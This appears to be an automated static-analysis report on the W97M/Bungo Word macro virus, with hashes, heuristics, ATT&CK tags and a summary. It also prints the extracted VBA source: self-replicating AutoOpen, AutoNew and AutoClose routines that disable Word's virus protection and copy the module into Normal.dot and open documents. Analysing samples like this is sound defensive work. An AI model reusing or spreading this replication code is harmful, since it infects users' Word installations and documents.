W97M/Bungo — Office (OLE) malware analysis

Static analysis result for SHA-256 e3e5f9e56e90a92c…

MALICIOUS

Office (OLE)

38.5 KB Created: 1999-11-12 08:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 82da67850fe16280713c68f9cc859ff7 SHA-1: f882002d455085ec7e6fbc5aa11897414210f882 SHA-256: e3e5f9e56e90a92ce6ea2a658373d1cb91b966aee356f4d7952817bc1e2de667
180 Risk Score

Malware Insights

W97M/Bungo · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Word document containing VBA macros, specifically identified as W97M/Bungo. The AutoOpen and AutoNew macros are designed to infect the Normal.dot template and the active document, indicating a self-propagating macro-based malware. The presence of legacy WordBasic auto-exec markers and the ClamAV detection further support its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Noswan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Noswan-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30654 bytes
SHA-256: 6a9cae5a77c445db9556591c0713e153f91be8dec5b9026b8b910bf7e0cd65ad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Bungo"
'Virus Name: W97M/Bungo
'Author Name: Lucky Warrior
'Copyright (c) 1999 Bgy. Tiguib, O.E.S.
'All rights reserved.

'I dedicate this virus to my roommates, namely:
'Tom, Deo, Allan, ArnoldBig, ArnoldSmall, Mike & Ruel
'
'Thanks Guys!! for everything...
'
'-Lucky Warrior 10 November 1999
'END


Sub AutoOpen()
On Error Resume Next
Call Payload
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
Options.SaveNormalPrompt = False
DocInfect = False
GlobInfect = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Bungo" Then
DocInfect = True
End If
Next
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "Bungo" Then
GlobInfect = True
End If
Next
If GlobInfect = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Bungo", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocInfect = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Bungo", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
Application.DisplayAlerts = wdAlertsAll
Call GoToHell
End Sub

Sub AutoNew()
On Error Resume Next
Call Payload
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
Options.SaveNormalPrompt = False
DocInfect = False
GlobInfect = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Bungo" Then
DocInfect = True
End If
Next
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "Bungo" Then
GlobInfect = True
End If
Next
If GlobInfect = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Bungo", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocInfect = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Bungo", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
Application.DisplayAlerts = wdAlertsAll
Call GoToHell
End Sub

Sub AutoClose()
On Error Resume Next
Call Payload
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
Options.SaveNormalPrompt = False
DocInfect = False
GlobInfect = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Bungo" Then
DocInfect = True
End If
Next
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "Bungo" Then
GlobInfect = True
End If
Next
If GlobInfect = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Bungo", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocInfect = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Bungo", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
Application.DisplayAlerts = wdAlertsAll
Call GoToHell
End Sub

Sub AutoExec()
On Error Resume Next
... (truncated)

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